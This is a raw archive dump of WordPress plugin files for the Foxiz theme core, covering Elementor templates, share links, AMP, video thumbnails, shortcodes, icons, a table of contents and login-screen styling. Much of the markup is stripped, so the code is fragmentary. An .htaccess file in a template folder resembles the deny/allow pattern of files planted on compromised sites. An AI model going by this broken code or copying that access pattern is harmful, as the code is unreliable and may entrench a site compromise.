e-template/single.php000064400000001200147206624450010576 0ustar00 > >
e-template/init.php000064400000021074147206624450010273 0ustar00 '', 'slug' => '' ), $attrs ); if ( ( empty( $settings['id'] ) && empty( $settings['slug'] ) ) || ! class_exists( 'Elementor\Plugin' ) || ! did_action( 'elementor/loaded' ) ) { return false; } /** fallback to slug if empty ID */ if ( empty( $settings['id'] ) && ! empty( $settings['slug'] ) ) { $ids = get_posts( array( 'post_type' => 'rb-etemplate', 'posts_per_page' => 1, 'name' => $settings['slug'], 'fields' => 'ids', ) ); if ( ! empty( $ids[0] ) ) { $settings['id'] = $ids[0]; } } if ( empty( $settings['id'] ) ) { return false; } return Elementor\Plugin::instance()->frontend->get_builder_content_for_display( $settings['id'] ); } /** * load style */ function enqueue_style() { if ( ! class_exists( '\Elementor\Core\Files\CSS\Post' ) ) { return; } $shortcodes = array(); if ( foxiz_get_option( 'header_template' ) ) { $shortcodes['header_template'] = foxiz_get_option( 'header_template' ); } if ( foxiz_get_option( 'footer_template_shortcode' ) ) { $shortcodes[] = foxiz_get_option( 'footer_template_shortcode' ); } if ( is_singular() || is_page() ) { $header = rb_get_meta( 'header_template', get_the_ID() ); $footer = rb_get_meta( 'footer_template', get_the_ID() ); if ( ! empty( $header ) ) { $shortcodes[] = $header; unset( $shortcodes['header_template'] ); } if ( ! empty( $footer ) ) { $shortcodes[] = $footer; } } if ( is_category() ) { $cat_id = get_queried_object_id(); $category_settings = get_option( 'foxiz_category_meta', array() ); if ( ! empty( $category_settings[ $cat_id ]['template'] ) ) { $shortcodes[] = $category_settings[ $cat_id ]['template']; } else { $shortcodes[] = foxiz_get_option( 'category_template' ); } if ( ! empty( $category_settings[ $cat_id ]['template_global'] ) ) { $shortcodes[] = $category_settings[ $cat_id ]['template_global']; } elseif ( foxiz_get_option( 'category_template_global' ) ) { $shortcodes[] = foxiz_get_option( 'category_template_global' ); } if ( foxiz_get_option( 'category_header_template' ) ) { $shortcodes[] = foxiz_get_option( 'category_header_template' ); unset( $shortcodes['header_template'] ); } } elseif ( is_search() ) { if ( foxiz_get_option( 'search_header_template' ) ) { $shortcodes[] = foxiz_get_option( 'search_header_template' ); unset( $shortcodes['header_template'] ); } if ( foxiz_get_option( 'search_template_global' ) ) { $shortcodes[] = foxiz_get_option( 'search_template_global' ); } } elseif ( is_singular( 'post' ) ) { if ( foxiz_get_option( 'single_post_popular_shortcode' ) ) { $shortcodes[] = foxiz_get_option( 'single_post_popular_shortcode' ); } } elseif ( is_home() ) { if ( foxiz_get_option( 'blog_header_template' ) ) { $shortcodes[] = foxiz_get_option( 'blog_header_template' ); unset( $shortcodes['header_template'] ); } if ( foxiz_get_option( 'blog_template' ) ) { $shortcodes[] = foxiz_get_option( 'blog_template' ); } if ( foxiz_get_option( 'blog_template_bottom' ) ) { $shortcodes[] = foxiz_get_option( 'blog_template_bottom' ); } if ( foxiz_get_option( 'blog_template_global' ) ) { $shortcodes[] = foxiz_get_option( 'blog_template_global' ); } } elseif ( class_exists( 'WooCommerce' ) && is_shop() ) { if ( foxiz_get_option( 'wc_shop_template' ) ) { $shortcodes[] = foxiz_get_option( 'wc_shop_template' ); } } if ( count( $shortcodes ) ) { $elementor = \Elementor\Plugin::instance(); $elementor->frontend->enqueue_styles(); foreach ( $shortcodes as $shortcode ) { if ( ! empty( $shortcode ) ) { preg_match( '/' . get_shortcode_regex() . '/s', $shortcode, $matches ); if ( ! empty( $matches[3] ) ) { $atts = shortcode_parse_atts( $matches[3] ); if ( ! empty( $atts['id'] ) ) { $css_file = new \Elementor\Core\Files\CSS\Post( $atts['id'] ); $css_file->enqueue(); } elseif ( ! empty( $atts['slug'] ) ) { $ids = get_posts( array( 'post_type' => 'rb-etemplate', 'posts_per_page' => 1, 'name' => $atts['slug'], 'fields' => 'ids', ) ); if ( ! empty( $ids[0] ) ) { $css_file = new \Elementor\Core\Files\CSS\Post( $ids[0] ); $css_file->enqueue(); } } } } } } } /** enable support for Elementor */ function enable_support() { add_post_type_support( 'rb-etemplate', 'elementor' ); } public function register_post_type() { register_post_type( 'rb-etemplate', array( 'labels' => array( 'name' => esc_html__( 'Ruby Templates', 'foxiz-core' ), 'all_items' => esc_html__( 'All Templates', 'foxiz-core' ), 'menu_name' => esc_html__( 'Ruby Templates', 'foxiz-core' ), 'singular_name' => esc_html__( 'Template', 'foxiz-core' ), 'add_new' => esc_html__( 'Add Template', 'foxiz-core' ), 'add_item' => esc_html__( 'New Template', 'foxiz-core' ), 'add_new_item' => esc_html__( 'Add New Template', 'foxiz-core' ), 'new_item' => esc_html__( 'Add New Template', 'foxiz-core' ), 'edit_item' => esc_html__( 'Edit Template', 'foxiz-core' ), 'not_found' => esc_html__( 'No template item found.', 'foxiz-core' ), 'not_found_in_trash' => esc_html__( 'No template item found in Trash.', 'foxiz-core' ), 'parent_item_colon' => '' ), 'public' => true, 'has_archive' => true, 'can_export' => true, 'rewrite' => false, 'capability_type' => 'post', 'exclude_from_search' => true, 'hierarchical' => false, 'menu_position' => 5, 'show_ui' => true, 'menu_icon' => 'dashicons-art', 'supports' => array( 'title', 'editor' ), ) ); } function shortcode_info() { add_meta_box( 'rb_etemplate_info', 'Template Shortcode', array( $this, 'render_info' ), 'rb-etemplate', 'side', 'high' ); } function render_info( $post ) { ?>

shortcode Text

'; } } } } /** LOAD */ Rb_E_Template::get_instance();e-template/.htaccess000064400000001626147206624460010417 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] includes/shares.php000064400000024705147206624460010373 0ustar00 rel="nofollow">' . foxiz_html__( 'Facebook', 'foxiz-core' ) . ''; } ?> rel="nofollow"> ' . foxiz_html__( 'Twitter', 'foxiz-core' ) . ''; } ?> rel="nofollow">' . foxiz_html__( 'Pinterest', 'foxiz-core' ) . ''; } ?> rel="nofollow">' . foxiz_html__( 'Whatsapp', 'foxiz-core' ) . ''; } ?> rel="nofollow">' . foxiz_html__( 'Whatsapp', 'foxiz-core' ) . ''; } ?> rel="nofollow">' . foxiz_html__( 'LinkedIn', 'foxiz-core' ) . ''; } ?> rel="nofollow">' . foxiz_html__( 'Tumblr', 'foxiz-core' ) . ''; } ?> rel="nofollow">' . foxiz_html__( 'Reddit', 'foxiz-core' ) . ''; } ?> ' . foxiz_html__( 'VKontakte', 'foxiz-core' ) . ''; } ?> rel="nofollow">' . foxiz_html__( 'Telegram', 'foxiz-core' ) . ''; } ?> rel="nofollow">' . foxiz_html__( 'Email', 'foxiz-core' ) . ''; } ?> >' . foxiz_html__( 'Copy Link', 'foxiz-core' ) . ''; } ?> >' . foxiz_html__( 'Print', 'foxiz-core' ) . ''; } ?> is_amp_installed() ) { add_action( 'wp_loaded', array( $this, 'amp_configs' ) ); if ( ! foxiz_get_option( 'amp_debug' ) ) { add_action( 'admin_menu', array( $this, 'remove_validation' ), 9999 ); add_action( 'wp_loaded', array( $this, 'remove_notices' ), 9999 ); } } } /** * @return bool */ public function is_amp_installed() { if ( defined( 'AMP__VERSION' ) ) { return true; } return false; } public function is_amp_request() { global $_REQUEST; if ( $this->is_amp_installed() && isset( $_REQUEST[ AMP_Theme_Support::SLUG ] ) ) { return true; } return false; } public function add_theme_support() { add_theme_support( 'amp', array( 'paired' => true ) ); if ( $this->is_amp_request() ) { remove_action( 'wp_enqueue_scripts', 'wp_enqueue_global_styles' ); remove_action( 'wp_footer', 'wp_enqueue_global_styles', 1 ); } } /** * @param $post_types * * @return array */ public function remove_post_types( $post_types ) { if ( empty( $post_types ) || ! is_array( $post_types ) ) { return $post_types; } foreach ( $post_types as $index => $post_type ) { if ( 'rb-etemplate' === $post_type || 'product' === $post_type ) { unset( $post_types[ $index ] ); } } return $post_types; } public function amp_configs() { remove_post_type_support( 'rb-etemplate', AMP_Post_Type_Support::SLUG ); remove_post_type_support( 'product', AMP_Post_Type_Support::SLUG ); if ( true === AMP_Options_Manager::get_option( 'all_templates_supported' ) ) { AMP_Options_Manager::update_option( 'all_templates_supported', false ); } if ( 'transitional' !== AMP_Options_Manager::get_option( 'theme_support' ) ) { AMP_Options_Manager::update_option( 'theme_support', 'transitional' ); } else { add_action( 'admin_print_styles', array( $this, 'remove_mode_selection' ) ); add_action( 'admin_footer', array( $this, 'print_mode' ) ); } } public function print_mode() { $current_screen = get_current_screen(); if ( $current_screen->id === 'toplevel_page_amp-options' && defined( 'AMP__VERSION' ) && AMP__VERSION >= 2 ) : ?> $item ) { if ( ! empty( $item['url'] ) && ( empty( $item['image']['url'] ) || strpos( $item['image']['url'], 'placeholder' ) ) ) { $video_id = $this->get_video_id( $item['url'] ); if ( ! empty( $video_id ) ) { if ( ! empty( $playlist_data[ $video_id ] ) && file_exists( get_attached_file( $playlist_data[ $video_id ] ) ) ) { $settings['videos'][ $index ]['image']['url'] = wp_get_attachment_url( $playlist_data[ $video_id ] ); } elseif ( current_user_can( 'manage_options' ) ) { $thumbnail = $this->get_video_thumbnail( $item['url'] ); if ( ! empty( $thumbnail ) ) { if ( ! function_exists( 'media_sideload_image' ) ) { require_once( ABSPATH . 'wp-admin/includes/media.php' ); require_once( ABSPATH . 'wp-admin/includes/file.php' ); require_once( ABSPATH . 'wp-admin/includes/image.php' ); } $playlist_data[ $video_id ] = media_sideload_image( $thumbnail, false, null, 'id' ); $settings['videos'][ $index ]['image']['url'] = wp_get_attachment_url( $playlist_data[ $video_id ] ); $flag = true; } } } } } } if ( $flag ) { update_option( 'rb_yt_playlist_thumbnail', $playlist_data ); } return $settings; } /** * @param $post_id * * @return false|void */ public function post_video_thumbnail( $post_id ) { if ( ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) || ( defined( 'DOING_AJAX' ) && DOING_AJAX ) || ! empty( $_GET['rest_route'] ) ) { return; } if ( empty( $post_id ) || get_post_status( $post_id ) !== 'publish' || 'post' !== get_post_type( $post_id ) ) { return; } if ( ! empty( get_post_meta( $post_id, '_thumbnail_id', true ) ) ) { return; } $video_url = rb_get_meta( 'video_url', $post_id ); $video_url = trim( $video_url ); if ( ! empty( $video_url ) ) { $thumbnail = $this->get_video_thumbnail( $video_url ); if ( ! empty( $thumbnail ) ) { if ( ! function_exists( 'media_sideload_image' ) ) { require_once( ABSPATH . 'wp-admin/includes/media.php' ); require_once( ABSPATH . 'wp-admin/includes/file.php' ); require_once( ABSPATH . 'wp-admin/includes/image.php' ); } $attr_id = media_sideload_image( $thumbnail, $post_id, null, 'id' ); set_post_thumbnail( $post_id, $attr_id ); } } return false; } /** * @param $video_url * * @return false|mixed|string */ public function get_video_id( $video_url ) { $host_name = $this->detect_url( $video_url ); switch ( $host_name ) { case 'youtube' : return $this->get_video_yt_id( $video_url ); case 'vimeo' : return $this->get_video_vimeo_id( $video_url ); case 'dailymotion' : return $this->get_video_dailymotion_id( $video_url ); default : return false; } } /** * @param $video_url * * @return false|string */ function get_video_thumbnail( $video_url ) { if ( empty( $video_url ) ) { return false; } $host_name = $this->detect_url( $video_url ); switch ( $host_name ) { case 'youtube' : return $this->get_yt_thumbnail( $video_url ); case 'vimeo' : return $this->get_vimeo_thumbnail( $video_url ); case 'dailymotion' : return $this->get_dailymotion_thumbnail( $video_url ); default : return false; } } /** * @param $video_url * * @return false|string */ public function detect_url( $video_url ) { $video_url = strtolower( $video_url ); if ( strpos( $video_url, 'youtube.com' ) !== false or strpos( $video_url, 'youtu.be' ) !== false ) { return 'youtube'; } if ( strpos( $video_url, 'dailymotion.com' ) !== false ) { return 'dailymotion'; } if ( strpos( $video_url, 'vimeo.com' ) !== false ) { return 'vimeo'; } return false; } /** * @param $video_url * * @return mixed|string */ public function get_video_yt_id( $video_url ) { if ( empty( $video_url ) ) { return false; } $s = array(); parse_str( parse_url( $video_url, PHP_URL_QUERY ), $s ); if ( empty( $s["v"] ) ) { $youtube_sl_explode = explode( '?', $video_url ); $youtube_sl = explode( '/', $youtube_sl_explode[0] ); if ( ! empty( $youtube_sl[3] ) ) { return $youtube_sl [3]; } return $youtube_sl [0]; } else { return $s["v"]; } } /** * @param $video_url * * @return mixed */ public function get_video_vimeo_id( $video_url ) { sscanf( parse_url( $video_url, PHP_URL_PATH ), '/%d', $video_id ); return $video_id; } /** * @param $video_url * * @return mixed|string */ public function get_video_dailymotion_id( $video_url ) { $video_id = strtok( basename( $video_url ), '_' ); if ( strpos( $video_id, '#video=' ) !== false ) { $video_parts = explode( '#video=', $video_id ); if ( ! empty( $video_parts[1] ) ) { return $video_parts[1]; } }; return $video_id; } /** * @param $video_url * * @return false|string */ public function get_yt_thumbnail( $video_url ) { $protocol = foxiz_protocol(); $video_id = $this->get_video_yt_id( $video_url ); $thumbnail_1920 = $protocol . '://img.youtube.com/vi/' . $video_id . '/maxresdefault.jpg'; $thumbnail_640 = $protocol . '://img.youtube.com/vi/' . $video_id . '/sddefault.jpg'; $thumbnail_480 = $protocol . '://img.youtube.com/vi/' . $video_id . '/hqdefault.jpg'; if ( ! $this->yt_respone( $thumbnail_1920 ) ) { return $thumbnail_1920; } elseif ( ! $this->yt_respone( $thumbnail_640 ) ) { return $thumbnail_640; } elseif ( ! $this->yt_respone( $thumbnail_480 ) ) { return $thumbnail_480; } else { return false; } } public function yt_respone( $url ) { $headers = @get_headers( $url ); if ( ! empty( $headers[0] ) and strpos( $headers[0], '404' ) !== false ) { return true; } return false; } /** * @param $video_url * * @return false */ function get_vimeo_thumbnail( $video_url ) { $video_id = $this->get_video_vimeo_id( $video_url ); $api_url = 'https://vimeo.com/api/oembed.json?url=https://vimeo.com/' . $video_id; $data_response = wp_remote_get( $api_url, array( 'timeout' => 60, 'sslverify' => false, 'user-agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0' ) ); if ( ! is_wp_error( $data_response ) ) { $data_response = wp_remote_retrieve_body( $data_response ); $data_response = json_decode( $data_response ); return $data_response->thumbnail_url; } else { return false; } } /** * @param $video_url * * @return false */ public function get_dailymotion_thumbnail( $video_url ) { $video_id = $this->get_video_dailymotion_id( $video_url ); $protocol = foxiz_protocol(); $param = $protocol . '://api.dailymotion.com/video/' . $video_id . '?fields=thumbnail_url'; $data_response = wp_remote_get( $param ); if ( ! is_wp_error( $data_response ) ) { $data_response = json_decode( $data_response['body'] ); return $data_response->thumbnail_url; } else { return false; } } } } /** load */ Foxiz_Video_Thumb::get_instance(); includes/shortcodes.php000064400000006446147206624460011265 0ustar00 '', 'title' => foxiz_get_option( 'single_post_newsletter_title' ), 'description' => foxiz_get_option( 'single_post_newsletter_description' ), 'code' => foxiz_get_option( 'single_post_newsletter_code' ), 'policy' => foxiz_get_option( 'single_post_newsletter_policy' ), 'heading_tag' => 'h2', 'description_tag' => 'h6' ), $attrs ); $output = ''; $class_name = 'newsletter-box'; if ( ! empty( $settings['classes'] ) ) { $class_name .= ' ' . $settings['classes']; } $output .= '
'; $output .= '
'; $output .= ''; $output .= '
'; if ( ! empty( $settings['title'] ) ) { $output .= '<' . esc_attr( $settings['heading_tag'] ) . ' class="newsletter-box-title">' . esc_html( $settings['title'] ) . ''; } if ( ! empty( $settings['title'] ) ) { $output .= '<' . esc_attr( $settings['description_tag'] ) . ' class="newsletter-box-description">' . esc_html( $settings['description'] ) . ''; } $output .= '
'; $output .= '
'; $output .= '
'; if ( ! empty( $settings['code'] ) ) { $output .= do_shortcode( $settings['code'] ); } $output .= '
'; if ( ! empty( $settings['policy'] ) ) { $output .= '
' . $settings['policy'] . '
'; } $output .= '
'; return $output; } /** * @param $attrs * * @return false|string */ public function render_related( $attrs ) { $settings = shortcode_atts( array( 'heading' => foxiz_html__( 'You Might Also Like', 'foxiz-core' ), 'heading_tag' => '', 'heading_layout' => '', 'total' => 2, 'layout' => 1, 'ids' => '', 'offset' => '', 'where' => '', 'post_id' => get_the_ID(), ), $attrs ); if ( empty( $settings['heading_layout'] ) ) { $settings['heading_layout'] = foxiz_get_option( 'heading_layout' ); } $func_name = 'foxiz_get_layout_related_' . absint( $settings['layout'] ); if ( function_exists( $func_name ) ) { ob_start(); call_user_func( $func_name, $settings ); return ob_get_clean(); } return false; } } } /** init */ Foxiz_Shortcodes::get_instance(); includes/svg.php000064400000640451147206624460007707 0ustar00 array( 'class' => true, 'xmlns' => true, 'width' => true, 'height' => true, 'viewbox' => true, 'aria-hidden' => true, 'role' => true, 'focusable' => true, ), 'rect' => array( 'width' => true, 'height' => true, ), 'path' => array( 'fill' => true, 'fill-rule' => true, 'd' => true, 'transform' => true, 'stroke' => true, 'stroke-width' => true, 'stroke-miterlimit' => true, ), 'circle' => array( 'fill' => true, 'cx' => true, 'cy' => true, 'r' => true ), 'polygon' => array( 'fill' => true, 'fill-rule' => true, 'points' => true, 'transform' => true, 'focusable' => true, ) ) ); } if ( ! $output ) { return false; } return $output; } } if ( ! function_exists( 'foxiz_render_svg' ) ) { /** * @param string $svg_name * @param string $color * @param string $ui * render svg */ function foxiz_render_svg( $svg_name = '', $color = '', $ui = '' ) { echo foxiz_get_svg( $svg_name, $color, $ui ); } } if ( ! class_exists( 'Foxiz_SVG_Icons', false ) ) { /** * Class Foxiz_SVG_Icons */ class Foxiz_SVG_Icons { public static function get_svg( $icon, $color = '', $ui = '' ) { switch ( $ui ) { case 'reaction' : $data = self::$reaction_icons; break; case 'weather' : $data = self::$weather_icons; break; case 'weather1' : $data = self::$forecast_day_1; break; case 'weather2' : $data = self::$forecast_day_2; break; case 'weather3' : $data = self::$forecast_day_3; break; case 'weather4' : $data = self::$forecast_day_4; break; case 'weather5' : $data = self::$forecast_day_5; break; case 'tweet' : $data = self::$tweet_icons; break; case 'address' : $data = self::$address_icons; break; default: $data = self::$ui_icons; } $data = apply_filters( 'foxiz_add_svg', $data ); if ( array_key_exists( $icon, $data ) ) { $repl = '\s*<', $output ); return $output; } return null; } /** @var array svg data */ public static $ui_icons = array( 'adblock' => ' ', 'mode-dark' => ' ', 'mode-light' => ' ', 'notification' => ' ', 'user' => ' ', 'logout' => ' ', 'chart' => ' ', 'play' => ' ', 'pause' => ' ', 'newsletter' => ' ', 'feedback' => ' ', 'like' => ' ', 'dislike' => ' ', 'rdoc' => ' ', 'fire' => ' ', 'virus' => ' ', ); /** * @var string[] */ public static $reaction_icons = array( 'icon-angry' => '', 'icon-cry' => '', 'icon-dead' => '', 'icon-embarrass' => '', 'icon-happy' => '', 'icon-joy' => '', 'icon-love' => '', 'icon-sad' => '', 'icon-shy' => '', 'icon-sleepy' => '', 'icon-surprise' => '', 'icon-wink' => '' ); public static $weather_icons = array( 'cloudy' => '', 'day-cloudy' => '', 'day-rain' => '', 'day-snow' => '', 'night-fog' => '', 'night-alt-snow' => '', 'night-cloudy' => '', 'night-rain' => '', 'moon-full' => '', 'day-sunny' => '', 'day-fog' => '', 'rain' => '', 'storm-showers' => '', 'windy' => '', 'hight' => '', 'low' => '', 'raindrop' => '', 'thermometer' => '' ); public static $forecast_day_1 = array( 'cloudy' => '', 'day-cloudy' => '', 'day-rain' => '', 'rain' => '', 'day-snow' => '', 'day-sunny' => '', 'day-fog' => '', 'night-fog' => '', 'moon-full' => '', 'night-alt-snow' => '', 'night-cloudy' => '', 'night-rain' => '', 'storm-showers' => '', 'windy' => '', 'hight' => '', 'low' => '', 'raindrop' => '', 'thermometer' => '' ); public static $forecast_day_2 = array( 'cloudy' => '', 'day-cloudy' => '', 'day-rain' => '', 'day-snow' => '', 'night-fog' => '', 'night-alt-snow' => '', 'night-cloudy' => '', 'night-rain' => '', 'moon-full' => '', 'day-sunny' => '', 'day-fog' => '', 'rain' => '', 'storm-showers' => '', 'windy' => '', 'hight' => '', 'low' => '', 'raindrop' => '', 'thermometer' => '' ); public static $forecast_day_3 = array( 'cloudy' => '', 'day-cloudy' => '', 'day-rain' => '', 'day-snow' => '', 'night-fog' => '', 'night-alt-snow' => '', 'night-cloudy' => '', 'night-rain' => '', 'moon-full' => '', 'day-sunny' => '', 'day-fog' => '', 'rain' => '', 'storm-showers' => '', 'windy' => '', 'hight' => '', 'low' => '', 'raindrop' => '', 'thermometer' => '' ); public static $forecast_day_4 = array( 'cloudy' => '', 'day-cloudy' => '', 'day-rain' => '', 'day-snow' => '', 'night-fog' => '', 'night-alt-snow' => '', 'night-cloudy' => '', 'night-rain' => '', 'moon-full' => '', 'day-sunny' => '', 'day-fog' => '', 'rain' => '', 'storm-showers' => '', 'windy' => '', 'hight' => '', 'low' => '', 'raindrop' => '', 'thermometer' => '' ); public static $forecast_day_5 = array( 'cloudy' => '', 'day-cloudy' => '', 'day-rain' => '', 'day-snow' => '', 'night-fog' => '', 'night-alt-snow' => '', 'night-cloudy' => '', 'night-rain' => '', 'moon-full' => '', 'day-sunny' => '', 'day-fog' => '', 'rain' => '', 'storm-showers' => '', 'windy' => '', 'hight' => '', 'low' => '', 'raindrop' => '', 'thermometer' => '' ); public static $tweet_icons = array( 'favorite' => '', 'retweet' => '', 'reply' => '', ); public static $address_icons = array( 'envelope' => '', 'placeholder' => '', 'telephone' => '', 'smartphone' => ' ' ); } }includes/table-contents.php000064400000017302147206624460012023 0ustar00get_supported_headings(); if ( ! is_admin() ) { add_filter( 'the_content', array( $this, 'the_content' ), 2 ); } } /** get all settings */ public function get_settings() { $this->settings = array( 'post' => $this->get_setting( 'table_contents_post' ), 'page' => $this->get_setting( 'table_contents_page' ), 'enable' => $this->get_setting( 'table_contents_enable' ), 'heading' => $this->get_setting( 'table_contents_heading' ), 'layout' => $this->get_setting( 'table_contents_layout' ), 'position' => $this->get_setting( 'table_contents_position' ), 'hierarchy' => $this->get_setting( 'table_contents_hierarchy' ), 'numlist' => $this->get_setting( 'table_contents_numlist' ), 'scroll' => $this->get_setting( 'table_contents_scroll' ), ); } /** * get supported heading settings */ public function get_supported_headings() { $this->supported_headings = array(); for ( $i = 1; $i <= 6; $i ++ ) { if ( $this->get_setting( 'table_contents_h' . $i ) ) { array_push( $this->supported_headings, $i ); } } } /** * @param string $setting_id * * @return false|mixed * get settings */ public function get_setting( $setting_id = '' ) { $setting = rb_get_meta( $setting_id ); if ( ! $setting || 'default' === $setting ) { $setting = foxiz_get_option( $setting_id ); } elseif ( '-1' === (string) $setting ) { return false; } return $setting; } /** * @param $content * * @return string|string[] * the_content filter */ public function the_content( $content ) { $this->get_settings(); if ( ! $this->is_enabled( $content ) ) { return $content; } $matches = $this->extract_headings( $content ); if ( ! $matches || ! is_array( $matches ) || ! $this->minimum_headings( $matches ) ) { return $content; } $table_contents = $this->create_table_contents( $matches ); $content = $this->replace_content( $content, $matches ); $content = $this->add_table_contents( $content, $table_contents ); return $content; } /** replace content */ function replace_content( $content, $matches ) { $find = array(); $replace = array(); foreach ( $matches as $index => $value ) { if ( ! empty( $value[0] ) && ! empty( $value[1] ) && ! empty( $value[2] ) ) { array_push( $find, $value[0] ); array_push( $replace, '' . strip_tags( $value[0] ) . '' ); } } return str_replace( $find, $replace, $content ); } /** * @param $matches * * @return string * create table contents */ function create_table_contents( $matches ) { if ( $this->settings['hierarchy'] ) { $min_depth = 6; foreach ( $matches as $index => $value ) { if ( $min_depth > $value[2] ) { $min_depth = intval( $value[2] ); } } foreach ( $matches as $index => $value ) { $matches[ $index ]['depth'] = intval( $value[2] ) - $min_depth; } } $class_name = 'rbtoc'; if ( ! empty( $this->settings['layout'] ) && '2' === (string) $this->settings['layout'] ) { $class_name .= ' table-left'; } elseif ( ! empty( $this->settings['layout'] ) && '3' === (string) $this->settings['layout'] ) { $class_name .= ' table-left table-fw-single-col'; } else { $class_name .= ' table-fw'; } if ( empty( $this->settings['numlist'] ) ) { $class_name .= ' no-numlist'; } $output = '
'; if ( ! empty( $this->settings['heading'] ) ) { $output .= '
' . esc_html( $this->settings['heading'] ) . '
'; } $output .= '
'; foreach ( $matches as $index => $value ) { $class_name = 'table-link anchor-link h5'; if ( ! empty( $value['depth'] ) ) { $class_name = 'table-link-depth anchor-link h5 depth-' . $value['depth']; } $output .= ''; $output .= strip_tags( $value[0] ); $output .= ''; } $output .= '
'; return $output; } /** * @param $content * @param $table_contents * * @return string|string[] * add table of contents section */ function add_table_contents( $content, $table_contents ) { if ( strpos( $content, '' ) ) { return str_replace( '', $table_contents, $content ); } $pos = 0; $tag = '

'; if ( ! empty( $this->settings['position'] ) && $this->settings['position'] > 0 ) { $pos = absint( $this->settings['position'] ); } $content = explode( $tag, $content ); foreach ( $content as $index => $paragraph ) { if ( $pos === $index ) { $content[ $index ] = $table_contents . $paragraph; } if ( trim( $paragraph ) ) { $content[ $index ] .= $tag; } } return implode( '', $content ); } /** * @param $content * * @return false|mixed */ public function extract_headings( $content ) { $matches = array(); if ( preg_match_all( '/(]*>).*<\/h\2>/msuU', $content, $matches, PREG_SET_ORDER ) ) { $matches = $this->filter_headings( $matches ); return $this->remove_empty( $matches ); } return false; } /** filter supported headings */ public function filter_headings( $matches ) { foreach ( $matches as $index => $value ) { if ( ! in_array( $value[2], $this->supported_headings ) ) { unset( $matches[ $index ] ); } } return $matches; } /** remove empty */ function remove_empty( $matches ) { foreach ( $matches as $index => $value ) { $text = trim( strip_tags( $value[0] ) ); if ( empty( $text ) ) { unset( $matches[ $index ] ); } } return $matches; } /** * @param $matches * * @return bool * minimum headings */ public function minimum_headings( $matches ) { if ( count( $matches ) < $this->settings['enable'] ) { return false; } return true; } /** * @param $text * * @return string * generate ID */ public function generate_uid( $text ) { $output = trim( strip_tags( $text ) ); $output = preg_replace( "/\p{P}/u", "", $output ); $output = str_replace( " ", " ", $output ); $output = remove_accents( $output ); $output = sanitize_title_with_dashes( $output ); return $output; } /** * @param $content * * @return bool * is enabled */ function is_enabled( $content ) { if ( is_front_page() || strpos( $content, 'id="ruby-table-contents"' ) ) { return false; } if ( ( $this->settings['post'] && is_singular( 'post' ) ) || ( $this->settings['page'] && is_page() ) ) { return true; } return false; } } } includes/login-screen.php000064400000012467147206624460011475 0ustar00style = foxiz_get_option( 'login_screen_style' ); if ( empty( $this->style ) ) { return false; } if ( foxiz_get_option( 'remove_admin_bar' ) ) { add_action( 'after_setup_theme', array( $this, 'admin_bar' ), 99 ); } if ( foxiz_get_option( 'remove_lang_bar' ) ) { add_filter( 'login_display_language_dropdown', '__return_false' ); } add_filter( 'login_body_class', array( $this, 'login_classes' ), 10, 1 ); add_filter( 'login_headerurl', array( $this, 'logo_url' ) ); add_action( 'login_enqueue_scripts', array( $this, 'enqueue' ), 20 ); add_action( 'login_enqueue_scripts', array( $this, 'dynamic_style' ), 99 ); add_action( 'login_header', array( $this, 'header_tag' ) ); add_action( 'login_footer', array( $this, 'footer_tag' ) ); add_filter( 'login_redirect', array( $this, 'login_redirect' ), 10, 3 ); add_filter( 'logout_redirect', array( $this, 'logout_redirect' ), 10, 3 ); } function login_redirect( $redirect_to, $requested_redirect_to, $user ) { if ( foxiz_get_option( 'login_redirect' ) ) { return esc_url( foxiz_get_option( 'login_redirect' ) ); } else { return $redirect_to; } } function logout_redirect( $redirect_to ) { if ( foxiz_get_option( 'logout_redirect' ) ) { return esc_url( foxiz_get_option( 'logout_redirect' ) ); } else { return $redirect_to; } } /** * @param $classes * * @return array|mixed * login classes */ function login_classes( $classes ) { if ( is_array( $classes ) ) { $classes[] = 'rb-login-screen style-' . intval( $this->style ); } return $classes; } function enqueue() { wp_enqueue_style( 'rb-admin-screen', FOXIZ_CORE_URL . 'assets/admin-screen.css', array(), FOXIZ_CORE_VERSION, 'all' ); } /** * @return string|void * logo URL */ public function logo_url() { $url = foxiz_get_option( 'logo_redirect' ); if ( ! empty( $url ) ) { return esc_url( $url ); } else { return home_url( '/' ); } } public function header_tag() { echo '
'; } public function footer_tag() { echo '
'; } /** * dynamic style */ public function dynamic_style() { $output = ''; $logo = foxiz_get_option( 'login_screen_logo' ); $background = foxiz_get_option( 'login_screen_bg' ); $color = foxiz_get_option( 'login_color' ); $position = foxiz_get_option( 'login_form_position' ); if ( ! empty( $logo['url'] ) ) { $output .= '.login.rb-login-screen h1 a { height: 60px; width: 300px; background-size: contain; background-image: url(' . esc_url( $logo['url'] ) . '); }'; } if ( ! empty( $position ) ) { switch ( $position ) { case '1': $output .= 'body.rb-login-screen #login { margin-left: auto; margin-right: auto}'; break; case '2' : $output .= 'body.rb-login-screen #login { margin-left: auto; margin-right: 0}'; break; } } $output .= 'body.login { ' . $this->create_background_css( $background ) . '}'; if ( ! empty( $color ) ) { $output .= '.rb-login-screen.login input#wp-submit { background-color :' . $color . '}'; $output .= '.rb-login-screen.login .button.wp-hide-pw .dashicons { color :' . $color . '}'; } $output = preg_replace( '@({)\s+|(\;)\s+|/\*.+?\*\/|\R@is', '$1$2 ', $output ); echo sprintf( "\n", $output ); return false; } /** * @param $settings * * @return string */ function create_background_css( $settings ) { if ( ! is_array( $settings ) ) { return ''; } $output = ''; if ( ! empty( $settings['background-color'] ) ) { $output .= 'background-color : ' . $settings['background-color'] . ';'; } if ( ! empty( $settings['background-repeat'] ) ) { $output .= 'background-repeat : ' . $settings['background-repeat'] . ';'; } if ( ! empty( $settings['background-size'] ) ) { $output .= 'background-size : ' . $settings['background-size'] . ';'; } if ( ! empty( $settings['background-image'] ) ) { $output .= 'background-image : url(' . esc_url( $settings['background-image'] ) . ');'; } if ( ! empty( $settings['background-attachment'] ) ) { $output .= 'background-attachment : ' . $settings['background-attachment'] . ';'; } if ( ! empty( $settings['background-position'] ) ) { $output .= 'background-position : ' . $settings['background-position'] . ';'; } return $output; } function admin_bar() { if ( ! current_user_can( 'administrator' ) && ! is_admin() ) { show_admin_bar( false ); } } } } /** init */ Ruby_Login_Screen::get_instance(); includes/ads.php000064400000027734147206624460007662 0ustar00
